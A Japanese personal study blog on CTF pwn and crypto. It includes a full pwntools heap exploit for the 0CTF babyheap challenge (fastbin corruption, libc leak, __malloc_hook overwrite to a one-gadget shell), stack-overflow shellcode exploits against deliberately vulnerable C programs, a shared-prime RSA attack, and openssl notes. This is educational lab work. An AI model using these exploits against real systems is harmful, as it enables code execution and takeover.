fr33f0r4ll

自分用雑記

Heap exploitationのお勉強メモ1

heap知らなさすぎてナウなpwnが解けないので少しずつやり始めました。 mallocとfreeのアルゴリズムここでお勉強した。

攻撃方法はshellphishのhow2heapでお勉強してる。 PoCプログラムに混じって置いてあるmalloc_playgroudが最高に良い。 全ての機能は使えてないけど、対話的にmalloc、freeして返されるアドレスを見れるのでfastbinとかsmallbinとかの挙動を実際に動かして確認できる。 PoCプログラムも説明がきちんとされているので分かりやすいし、その上参考になる過去のCTFの問題のリンクまで貼ってくれている。 至れり尽せりって感じだった。

その中でfastbin_dupのお勉強をしたのでそのメモ。

fastbin dup

サンプルとしてshellphish/how2heapのソースを最低限まで削ったものを使わせてもらう。

#include <stdio.h>
#include <stdlib.h>

int main()
{
    int *a = malloc(8);
    int *b = malloc(8);

    free(a);
    // free(a); // 2回連続で同じチャンクをfastbinsに繋ぐとエラーが出る
    free(b);
    free(a); // 間に別のチャンクを繋ぐとエラーが出ない

    malloc(8); // a
    malloc(8); // b
    malloc(8); // a!
}

double-freeができる必要があるはず、そしてfastbinでないとできないのである程度小さい領域がmallocできないといけない。 これをすると、mallocしたときに同じ領域を2回返させることができるようになる。

手順は、まず2回mallocしてfastbinのサイズの領域(64bit環境だと128バイトまで?)を2つ取得する。 同じサイズじゃないと同じbinsに繋がれないので、8バイトに揃えてる。 最初の領域がa、2回目の領域がbとする。

次にa -> b -> aの順番でfreeする、a -> aとやっちゃうとdouble-freeが検出されてプログラムが強制終了させられる。 この時点でfree済のfastbinとして[fastbins head] -> a -> b -> aって感じにaが2回繋がれることになる。

ここでさっきと同じサイズ(8バイト)をmallocすると、無駄にheap領域を使わないようにfreeされて使わなくなった領域を返すようになっている。 FILOになっているのでfreeした順とは逆順になってmallocで返される。 このとき、double-freeで2回登録しているので2回同じチャンクが返されることになる。

ちなみにsmall binやlarge binではdouble-freeはしっかり検出されるので同じようにやってもできないようになってる。

0CTF babyheap

http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html 例題として挙げられていた問題。 いまはfastbin_dup_into_stackの例題になっている。

あとでwriteupする。一年越しのリベンジ、人に聞いてようやくできた。

Writeupの解法

ヒープ領域でのバッファオーバーフローができるので、他のヒープの情報を改ざんして既に取得しているチャンクをもう一度取得し、freeすることでsmallbinのアドレスをリークさせる。
次に、リークしたアドレスからlibcのベースアドレスを計算し、そこからone gadget RCEのアドレスと__malloc_hookのアドレスを取得する。
最後にヒープ領域のfree済チャンクのfdを__malloc_hook近辺に書き換えて取得し、そこにone gadget RCEのアドレスを書き込む。
あとはmallocを呼び出すだけで__malloc_hookのone gadget RCEが起動してシェルに入れる。

ExploitもほとんどWriteupのパクリ、ちょっとだけ解説を足した。

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch='i386')
exe = './babyheap'


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(
            '', )
    else:
        return process([exe] + argv, *a, **kw)


# # gdb
# gdbscript = '''
# continue
# '''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

menu = {'alloc': '1', 'fill': '2', 'free': '3', 'dump': '4', 'exit': '5'}


def alloc(size):
    io.sendlineafter('Command: ', menu['alloc'])
    io.sendlineafter('Size: ', str(size))
    idx = int(io.recvline().replace('Allocate Index', ''))

    log.debug('alloc({})'.format(size))
    log.debug('alloc returns {}'.format(idx))

    return idx


def fill(idx, size, content):
    io.sendlineafter('Command: ', menu['fill'])
    io.sendlineafter('Index: ', str(idx))
    io.sendlineafter('Size: ', str(size))
    io.sendlineafter('Content: ', content)

    log.debug('fill({}, {}, {})'.format(idx, size, content))


def free(idx):
    io.sendlineafter('Command: ', menu['free'])
    io.sendlineafter('Index: ', str(idx))

    log.debug('free({})'.format(idx))


def dump(idx):
    io.sendlineafter('Command: ', menu['dump'])
    io.sendlineafter('Index: ', str(idx))

    log.debug('dump({})'.format(idx))

    return io.recvuntil('1. Allocate').replace('1. Allocate', '').replace(
        'Content: \n', '')


io = start()

# インデックスがNならidx[N]と書くようにする
alloc(0x20)  # idx[0]
alloc(0x20)  # idx[1]
alloc(0x20)  # idx[2]
alloc(0x20)  # idx[3]
alloc(0x80)  # idx[4]

free(1)
free(2)
# freeリストがfastbin[0x30]->idx[2]->idx[1]になる
# chunk_sizeとアライメントの関係で0x20を確保する場合、0x30が実際に確保されるサイズになる

# freeされたidx[2]のfdの末尾1バイトを書き換えて、idx[4]を指すようにする
payload = ''
payload += p64(0) * 5  # 32バイトは確保した領域、8バイトはアライメントの兼ね合いで発生した余剰領域
payload += p64(0x31)   # idx[1]のchunk_size、変えてしまわないように同じサイズを書き込む。0x1はprev_in_useフラグ
payload += p64(0) * 5  # 同様
payload += p64(0x31)   # 同様
payload += p8(0xc0)    # idx[2].fdの末尾を書き換える
# ASLRが有効でもヒープ領域開始位置は末尾が0x00で相対位置が同じになるので、0xc0でOK
fill(0, len(payload), payload)

# freeしたときのfastbinでのチェックを通すため、サイズを対応するfastbinのものに書き換える
payload = ''
payload += p64(0) * 5  # 同様
payload += p64(0x31)  # idx[4].chunk_sizeを0x31(fastbinのサイズ)に書き換え
fill(3, len(payload), payload)

alloc(0x20)  # fastbins[0x30]から取得、idx[2]だったチャンクが返る。新しいインデックスは1
alloc(0x20)  # idx[1]だったチャンクが返るはずだけど、idx[2].fdを書き換えたのでidx[4]のチャンクが返ってくる。インデックスは4

# この時点で、idx[2] == idx[4]になってる

# ここでtopチャンクのアドレスを取得するために、freeしてidx[4].fdをsmallbinsに繋ぐ
payload = ''
payload += p64(0) * 5
payload += p64(0x91)  # unsorted binに繋がれるように元のサイズを書き戻す
fill(3, len(payload), payload)
# 詳しくは理解してないけどtopチャンクと隣接してる場合はそのままtopチャンクに結合されてしまうらしく、それを防ぐためにalloc
alloc(0x80)  # idx[5]に入る
free(4)  # unsorted binに繋がれる

# この時点でもidx[2] == idx[4]になってる
# idx[4]をfreeしたため、idx[2].user_dataにはidx[4].fd, idx[4].bkが入っている
# idx[4].fdはtopチャンクを指しているっぽい
# topチャンクはlibcのメモリ領域に入っているので、相対位置を計算することでlibcのベースアドレスが分かる
libc_base = u64(dump(2)[:8]) - 0x3c4b78
log.info("libc_base: " + hex(libc_base))

alloc(0x68)  # 0x70のチャンクをunsorted binから取得する、インデックスは4
free(4)  # freeして、今度はfastbinsに繋ぐ

malloc_hook_offset = 0x3c4b10
malloc_hook = libc_base + malloc_hook_offset
adjusted_malloc_hook = malloc_hook + 0xd - 0x20
# Writeupの方を見た方が分かりやすい
# malloc_hookのアドレスをmallocで確保した領域として返させるために、いろいろと工夫している
# chunk_sizeがfastbinかどうかのチェックを突破するために、0x7ffff7...となっている部分をずらしてchunk_sizeが0x7fとなるようにする
# こうするとchunk_sizeが0x70のfastbinのチャンクと認識されて、チェックが突破できる
log.info('malloc_hook: 0x{:x}'.format(malloc_hook))
log.info('adjusted hook: 0x{:x}'.format(adjusted_malloc_hook))
payload = p64(adjusted_malloc_hook)  # 現在smallbinsに繋がれているチャンクのfdに、すこしずらしたmalloc_hookのアドレスを書き込む
# この時点でidx[2]はsmallbinsに繋がれているchunkを指している
# 書き込んでsmallbinsに繋がれているchunkのfdを上書きする
fill(2, len(payload), payload)
alloc(0x60)  # インデックスは4、smallbinsから取ってこられる
alloc(0x60)  # インデックスは6、idx[4].fdが改ざんされてmalloc_hookのちょっと上の方を指しているため、ここでadjusted_malloc_hookのアドレスが返されている

# one gadget RCEリスト、条件を満さないものがいくつかあるみたいだったので総当たりした
one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = libc_base + one_gadgets[1]
log.info('one_gadget: 0x{:x}'.format(one_gadget))

# malloc_hookに該当する部分にone gadget RCEのアドレスを書き込む
# malloc_hookに設定されたアドレスは、malloc内で最初の方で関数として呼び出される
# つまり、ここでmalloc_hookに書き込んだ命令へのアドレスが次のmallocで実行されることになる
payload = '\x00' * 3
payload += p64(one_gadget)
fill(6, len(payload), payload)

# パース処理の問題で直接送る
# ここのmallocでmalloc_hookのone gadget RCEが実行される
io.sendlineafter('Command: ', menu['alloc'])
io.sendlineafter('Size: ', str(255))
io.interactive()

リンクされるlibcのメモ

pwnしてるときに知ったので簡単にメモ。

プログラムにlibc.so.6がリンクされるとき、ASLRによってランダム化されるのは7バイト分で、下3バイトは000で固定、上6バイトは0x00007fで固定になる。

リンクされたときのlibcのベースアドレスはlddコマンドで知ることができる。 何回か実行するとベースアドレスがランダム化されているのが分かる。

追記

lddはどうも正しい値を返さないらしい。 この記事によると環境変数LD_TRACE_LOADED_OBJECTSによって結果が変わる。

ASLRをオフにして実験してみた、実際はfish shellでやったけどbash記法で書く。

$ LD_TRACE_LOADED_OBJECTS=1 ldd some_program
linux-vdso.so.1 =>  (0x00007ffff7ffa000)
libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007ffff7bae000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ffff79aa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff75e0000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd7000)
$ ldd some_program
linux-vdso.so.1 =>  (0x00007ffff7ffa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff780a000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd7000)

結果はこんな感じになった。出力されるものが1つ増えているけど、実際にはどの値も間違っていた。 間違っているというか、pwnでret2libcできなかった。

解決策

gdb-pedaを使えば正しい方の値が手に入る。 一度プログラムを実行させてメモリにロードしてからvmmap libcするとロードされたlibcの位置が分かる、一番最初のアドレスがベースアドレスになる。

例えば、以下の例の場合だとベースアドレスは0x7ffff7a0d000になる。少なくともret2libcはできるベースアドレスだった。

$ vmmap libc
Start              End                Perm  Name
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp    /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r--p  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p  /lib/x86_64-linux-gnu/libc-2.23.so

ちなみにASLRが有効でもgdb環境下ではオフにされるので注意。

今度もっと詳しく調べてみよう。

追記その2

32bitのバイナリとlibcならlddで問題なくベースアドレスが取得できた。

Live USBでブートできなかったときのためのメモ

タイトル通り、USBでブートしようとしたらできなかったのでその解決方法。

古いPCにUSBブートでxubuntu入れようとしたらmissing operating systemの表示が出てブートできなかった。色々調べた結果、UNetBootinだとUSBにbootフラグが立たないときがあるらしい。

解決するにはGPartedかなにかでbootフラグを立ててやるだけでいい。 これでブートできた。

opensslでファイル暗号化

みんな見られたくない画像とか一杯ストレージにあるよな? そういうわけでopensslを使ってファイルを暗号化する方法をメモ。 自分一人が暗号化、復号化できればそれでいいので共通鍵方式のAESを使って暗号化する。速度的にRSAを使うより多分速いだろうし。

暗号化

openssl enc -e -aes-256-cbc -in secret.jpg -out secret.enc

パスワードだけ設定しなければならないので入力しよう、一応ファイルの先頭行なんかをパスワードとして渡せる-kfileなんかもあるがパスをどこかに書き込むのは抵抗ある。 パスを忘れたらまず復号できないので絶対に忘れないようにしよう。量子コンピュータとか完成したら復号できるかもな。 これでsecret.jpgは暗号化される、元のファイルは残ってしまうのでshredかなにかで削除しよう。 とはいえ、最近のファイルシステムじゃジャーナリングとかで残っちゃうらしい。その辺面白そうだしforenっぽいので調べてみたい。TODOリストの100個目くらいに追加しておこう。

opensslはサブコマンドとそのオプションを取るようになっている。 encは共通鍵のアルゴリズムで暗号化、復号化するらしい。

-eが暗号化の指定になる。

今回の例では-aes-256-cbcでAESの256bitを使ったが128bitもある、特に理由がなければbit長は長い方がいい。 最後のcbcは暗号化のモードで、これは直前のブロックも使って暗号化する方式になる。 よく推奨されるモードはcbcとctr、逆にecbは解読されやすいので絶対に使ってはいけない。 ちなみに復号するときも同じ方式じゃないといけないので注意。 他にはDESとかもあるけどAESが一番無難だし、十分な強度がある。 DESは鍵長が短すぎるので必要がない限り使うべきじゃない。 他のアルゴリズムも調べると面白そう。

-in-out入力と出力先の指定になる。 指定しないと標準入出力になるらしい、stdoutとstdinで指定しても標準入出力になる。

復号化

openssl enc -d -aes-256-cbc -in secret.enc -out decrypt.jpg

復号するには入力を暗号化されたファイルにして、-e-dに替えるだけでいい。

RSA

単にファイルを暗号化したいだけなら必要ないが、公開鍵方式で暗号化することもできる。

openssl genrsa -aes256 -out rsa.pem
openssl rsa -pubout -in rsa.pem -out rsa.pub.pem
openssl rsautl -encrypt -pubin -inkey rsa.pub.pem -in secret.jpg -out secret.enc
openssl rsautl -decrypt -inkey rsa.pem -in secret.enc -out decrypt.jpg

上から、AES256bitで暗号化された秘密鍵の生成、公開鍵の作成、暗号化、復号化の処理になる。 復号できる人と暗号化できる人を分けたいときとか、何度もパス入力するのめんどいときなんかにはこっちの方が使いやすいかもしれない。

SECCON CTF 2017 Quals writeup

チームで参加できたのでたくさん解けた。 僕が解いたのはputchar_music, vigenere3d, ps_and_qsの3つ。 チームは200位くらい。

コードはここ

putchar music

映画のタイトル当てろという問題。 TLにこの時点で分かってる人いて笑った。

Cのワンライナーが降ってくるので取り敢えずコンパイルmath.hがいるっぽいのでリンクすれば警告は出るがちゃんと動くプログラムが出力される。 実行すると無限ループしてバイナリを吐き出す。

タイトルにmusicとあるので、おそらく生の音声データか何かだろうと当たりを付けた。 linuxで実行できるとあったので多分コマンドラインで標準入力から音声データ受け付けるようなプレイヤーがあるんだろうなと決めつけて調べた。 すると、どうもplayaplayがあるらしいことが分かった。 とりあえずaplayの方にパイプしてみると、8bitっぽい音楽が流れはじめた。

これで解ける!と思いきや、ここで問題発生。 映画のタイトルがまったく分からない! 音楽のタイトルを調べてくれるサービスなんかも当たってみたが音が劣化してるのでヒットしない。 これはもうどうしようもないと思ってしばらくBGMにして流してた。 知ってそうなメンバーとありそうな候補話してるうちに正解を思い出した。 というわけで解けました。

こういう問題どうかと思います!(スターウォーズ見てない人)

vigenere3d

ウ゛ィジュネル暗号の置換表をさらにもう1次元拡張して用いるようになってる暗号化スクリプトが降ってくる。 スクリプト中に置換表生成部分が残っている。 また、暗号化するのに使う鍵が2つあるが、どうも1つの鍵を逆順にして用いてるらしい。 1つの鍵を使い回すのは大抵の場合よろしくない。

こういう換字式暗号は平文の一部が分かっていると対応する鍵が特定できたりする。 この暗号もそんな感じになっていて、平文か鍵のうちどちらかが特定できると、対応する暗号文の文字になるような平文の文字と鍵の文字の組み合せが特定できる(はず)。 正確に元の鍵とは一致しないけど違う鍵でも同じように復号されるようになるはずなので問題ないんじゃあないかな。

そして、平文の先頭は"SECCON{"になっていて、2つ目の鍵には1つ目の鍵が逆順になっているものが使われるので、鍵の先頭と末尾の7文字が特定可能になっていることになる。 そして伏せ字の数からして鍵の長さは14、つまり全部分かる。

解読用スクリプトはこれ。

import sys


def _l(idx, s):
    return s[idx:] + s[:idx]


s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}"
t = [ [_l((i+j) % len(s), s) for j in range(len(s))] for i in range(len(s))]

cipher = "POR4dnyTLHBfwbxAAZhe}}ocZR3Cxcftw9"
k1_len = 14
k2_len = 14


# first seven chars is SECCON{, so I can decrypto key's first seven and last seven.

s.find('S')


def specify_key(plain_char, cipher_char):
    table = t[s.find(plain_char)]

    for i in range(len(s)):
        for j in range(len(s)):
            if table[i][j] == cipher_char:
                return (i, j)


def get_key():
    p = 'SECCON{'
    c = cipher[:7]
    former = ''
    latter = ''

    for p_ch, c_ch in zip(p, c):
        f_i, l_i = specify_key(p_ch, c_ch)
        former += s[f_i]
        latter += s[l_i]

    return (former, latter)

def decrypto(cipher, key):
    k1 = key
    k2 = key[::-1]
    i1 = 0
    i2 = 0
    plain = ''

    for a in cipher:
        for index, table in enumerate(t):
            if table[s.find(k1[i1])][s.find(k2[i2])] == a:
                plain += s[index]
                break
        i1 = (i1 + 1) % len(k1)
        i2 = (i2 + 1) % len(k2)

    return plain

key = 'AAAAAAA_aZ2PK_'
# gocha! 'SECCON{Welc0me_to_SECCON_CTF_2017}'

PS and QS

RSA問題。

降ってくるのはpemファイルだったのでopenssl使って表示させた。 使い方憶えないとなぁ。

この時点で異なる公開鍵2つと暗号文1つが手に入る。 nは4096bitで単純に素因数分解はできそうになく、eは共通でよくある値(0x10001)だった。

この時点で出来そうな攻撃というとgcdかな?と思い試してみることにした。 2つのnが同じ素数を使っていた場合はこれで特定できる。 gcdはかなり効率が良いアルゴリズムがあって、大抵の実装はこのアルゴリズムなのでお手持ちの言語でgcdしてみる。 するとどうやら素数を使い回してるらしかった。

あとは単純な整数の割り算で他の素数も算出でき、2つの素数とeがあれば秘密鍵dを計算できる。 この計算はmodの逆元計算になるので、拡張gcdかなにかのアルゴリズムで解ける。 pythonならgmpyか何かに実装されている。

これで秘密鍵が分かったので、復号するだけである。 復号してみると、片方では最後の方にフラグが表示されていた。 解けた。

しかしこれ見落とすだろう、もう少し解けたことが分かりやすくならんかね。 フラグも適当に入れたら取れちゃいました!ってどこかのチームがやってそうなフラグだったし。

使ったスクリプトは以下。

(defparameter n1 #x00cfcfbbeea7df143a8ac208b1aa1d2f86545ac4cb588c94a3fb1c14ad91a4f0b936157c5a4b869c18a8b864f4726bf8fcdc020cb41042bac96784ab7d03f9374947efb0bc3d665831974340159ffc3db7c8e74b6390fda6eec30b81c6ff624e8d3f5b17bfb7a5c7ffd8ecf4e6518b393abefddd0faeba4308746ba63f8106b59d7e058943a00131a7d4e538c464b270577647edbc478cc1ce9585efe877305b3a7c2e7c44db5475eddadc345a2c90a946771cac0a454cdbcb461f2840e7613c83e9cecc94037fa09bb9daa3f180562c01df0be6c51f0c06e8f0e2d6e1a5e50d0a28c3881140770a9f45934146b7f359b939ce23f0fa507a6f4e454571430952003c20f1d97a67140b6e5fcbfb3b376e4e24969aeb1d489cfc72af4f15a4788a1aa97c89756d1d4d94aa47e7cd3a81aecb92448cc92c77d2ef576aa0dbc1350862accddaddbce80357f0cd5b854dd0f8c4627fe4b718b24ecfe11ed24c3be22f00643bbed4ee5e345af176e5b76d23a2f80e0ec6f34e5718c62a70fe5570c28b807b44f22eadebd9b5ff906f6a85be88c0c8f6e5f880a51f17f84db1c2eefea8af34040444ced1a37df0e4f5f72cc3f50b7e427c8c2d8b6186ead762f0c444b3ca3a0103ed12a93bce9cae7479a229ebbc0a648eaa6f97e5051a66eb09ebd7348e92f75f125ebdc367e2a7d1da7759d41fae2e2635bf4b7a7f91becab3ac7d05bd)

(defparameter n2 #xBB33CC7FCC8ECAF3BF9ED95C583792E1EC6B80EE875EC2064DBCF07595C8344923BF536524D4E0A75574C7798C73B197DD2B1B42054B1E49CB45FBF04E6F114CF8A365C3DF3645524F778268038A3FA26802E9D1EDBFBB5EDFB5A0C375370D7F10F57DABBD4F771DAD3632F01B9BCE10489966EE882DAB17A33B786AA5F73165A54051300B1DF9280392A3EDE9D3FC9C4D8A6A06351F6EF3598E8DE2B39D3B19AF64A1716CD15826C3F24CB13DEB722C3A03EF1D2BE2D0A5A6E210FF5D018367BE3BF99EA26BA006E5164A4DD55AABCD449DE5CE1864825DC160E50D509EB0E6FE723EF182681EDDB94084B83EC9E2E943E87CB87509AB0FD9B1CA22C1CEAFF39FCACF6729FC0E0578670D87D7F0F9CCBE09CB3E12CEB895572A9979D10BFDBFAFA260568D8DB184BE12B3E3193E07729CE3C1D9CD8283ED6983A06388036A0A70294F23392944778280E7DE9F60163A8150E30FF4A4EA02792CBE8305BAA2E99AFE51E17DAFC56BE0D384147BCD38E9D12934EC712622217773A4B3851A9B0C6C7C3E01F6111A1E1A557F4E2AE4A247CE9B75CCCCB1819825F3054AA1C055BD3E2340093AE2EF1D0FA5A176825EFDF79507027F5104080009142F0D43E2F10CFAD220813BBB9014D4F4325EDAC538FB5E82B753E2AD3B24607D7380AA64FCB98B59EA8B5A736B809383248CECE0B17255EA559E90127F778AF6D7E8A66DAD91)

(defparameter e #x10001)

(require 'sb-mpfr) ;; FIX:
(ql:quickload :hackrsa)

(defparameter p (hackrsa:gcd-attack n1 n2))

(defparameter q1 (/ n1 p))
(defparameter q2 (/ n2 p))

(defparameter d1 (hackrsa:private-key e p q1))
(defparameter d2 (hackrsa:private-key e p q2))

(defparameter cipher (with-open-file (in "cipher"
                     :element-type '(unsigned-byte 8))
               (let ((dec 0))
             (loop for b = (read-byte in nil nil)
                   if b
                 do (setf dec (+ (* dec (expt 2 8)) b))
                   else
                 do (return dec)))))

(defparameter p1 (hackrsa:decrypto cipher d1 n1))
(defparameter p2 (hackrsa:decrypto cipher d2 n2))

(print (hackrsa:decode-string p1))
(print (hackrsa:decode-string p2))

n1の方がフラグのある平文になる。

感想

pwn厳しい。

チームでやると盛り上るし、余裕もできるから楽しい。 ただ、カバーするやや範囲が被ってるために解けないジャンルが...

pwn基礎 バッファオーバーフロー3

前回の続き。

今度は関数を呼び出すのではなく自分で実行するべき命令を用意し、バッファオーバーフローを利用してその命令を実行する。 使ってるコードはココ

crackme

攻撃対象のコードはこれ。

// sudo sysctl -w kernel.randomize_va_space=0

#include <stdio.h>
#include <string.h>

void vuln_func(char** argv) {
  char buf[100] = {};  /* set all bytes to zero */
  
  printf("buf = %p\n", buf);
  strcpy(buf, argv[1]);
  puts(buf);
  
  return;
}

int main(int argc, char *argv[])
{
  vuln_func(argv);

  return 0;
}

コンパイルgcc -m32 -z execstack -fno-stack-protector -o overflow overflow.c

実行時に渡される引数をバッファにコピーして表示するプログラム。 解析する手間を省くため、バッファのアドレスを表示するようにしている。 ASLRなし、スタック実行可能なイージーモードでやる。

知っておくべきこと

マシンコード

マシンコードとは、コンピュータに命令することができる、あるいはするためのバイト列。 この世に存在する全てのプログラムは最終的にマシンコードとしてプロセッサによって実行される(はず)。 0と1の世界、コンパイルした実行ファイルの中身。

アーキテクチャによってどんなマシンコードなのかは違うので、x64をARMで実行したりは基本的にはできない。 とりあえずコンピュータによって直接実行されるのはマシンコードであるということを知っていれば十分だと思う。

pwnでプログラムを解析するときはマシンコードを逆アセンブルして、アセンブリコードを読むことになる。 アセンブリコードはマシンコードとおよそ一対一で対応している、人間の読める言葉で表現された命令だといえる。 pwnでは大抵はx86かx64のプログラムが降ってくるので、とりあえずx86系について分かるようになれば大半の問題に取り組むことができるようになる。 大量にある命令を全部知っておく必要はなく、頻出のいくつかの命令だけを憶えておいて、知らない命令はその都度検索するぐらいで十分である。 どちらかというと慣れの方が大事な気がする。 逆アセンブルには、radare2とかIDAとかobjdumpとかのツールが有名。 IDAは金払わないとx64の解析ができないけど、この中で一番性能がいいんじゃないかな。

shellcode

これまでバッファオーバーフローでeipを書き換えたりメモリ上の値を変えたりしてきた。 今回はマシンコードの命令を直接送りこみ、それを実行させて、シェルを起動する。 このようなシェルを起動するようなデータ列のことをシェルコードとよぶ。 実際は、脆弱性を突いて何か処理をさせる目的で送りこむデータ列のことを(シェルを起動させなくても)シェルコードといったりする。

exploit

exploitはこんな感じ。

# no ASLR
# no canary

from pwn import *

context(arch='i386', os='linux')

buf_addr = 0xffffcb9c # buf addr
offset = 112
shellcode = asm(shellcraft.sh())
payload = shellcode
payload += "A" * (offset - len(shellcode))
payload += p32(buf_addr)

print(payload)

ここではシェルコードを書くことよりも実際に送信したデータを実行できることが分かればいいかなと思って、pwntoolsに収録されてるシェルを起動するシェルコードをそのまま使わせてもらった。 shellcraft.sh()'は文字列なので、どのような命令なのか知りたければ出力すれば見れる。 asm()`でアセンブルして、文字列の先頭に配置している。 リターンアドレスを書き換えるオフセットは前回の要領で、バッファのアドレスは一度実行してみて調べよう。 コマンドライン引数はスタックの最初の方で積まれるため、引数として渡す文字列の長さによって変わるので注意。 これでシェルを起動できる。

pwn基礎 バッファオーバーフロー2

前回の続き。

折角なので使っているコードとかをリポジトリにまとめておく。

サンプルコード

攻撃対象にするコード。

#include <stdio.h>
#include <unistd.h>

void shell() {
  char* args[] = {"/bin/sh", NULL};
  execve("/bin/sh", args,  NULL);
}

void echo() {
  char buf[0x100];

  fgets(buf, 0x200, stdin);

  puts(buf);

  return;
}

int main(int argc, char** argv){
  while(1) {
    echo();
  }
  ``
  return 0;
}

gcc -Wformat-security -fno-stack-protector -m32 -o overflow overflow.cでビルドしたものを使う。

今回はバッファオーバーフロー脆弱性を利用して、プログラム内の関数、shell()を呼び出してみる。

手順

脆弱性の発見

簡単なコードなのでぱっと見で分かると思うが、echo関数内のfgetsでバッファオーバーフローしている。 0x200文字の文字列を入力するとプログラムがSIGSEGVで落ちる。 このときどんな状態になっているかをgdb-pedaで確認してみる。 gdb overflowで普通にgdbを起動する。 文字列を入力するときは、pattc 0x200と入力すると0x200文字の文字列を自動的に生成してくれる。 runかrでプログラムを実行し、さきほど生成した文字列を入力してみる。

[----------------------------------registers-----------------------------------]
EAX: 0x200 
EBX: 0x0 
ECX: 0xffffffff 
EDX: 0xf7fa5870 --> 0x0 
ESI: 0xf7fa4000 --> 0x1b1db0 
EDI: 0xf7fa4000 --> 0x1b1db0 
EBP: 0x64254148 ('HA%d')
ESP: 0xffffcb30 ("%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3"...)
EIP: 0x41332541 ('A%3A')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41332541
[------------------------------------stack-------------------------------------]
0000| 0xffffcb30 ("%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3"...)
0004| 0xffffcb34 ("eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIA"...)
0008| 0xffffcb38 ("A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs"...)
0012| 0xffffcb3c ("%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJ"...)
0016| 0xffffcb40 ("5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfA"...)
0020| 0xffffcb44 ("A%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5As"...)
0024| 0xffffcb48 ("%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsg"...)
0028| 0xffffcb4c ("LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41332541 in ?? ()

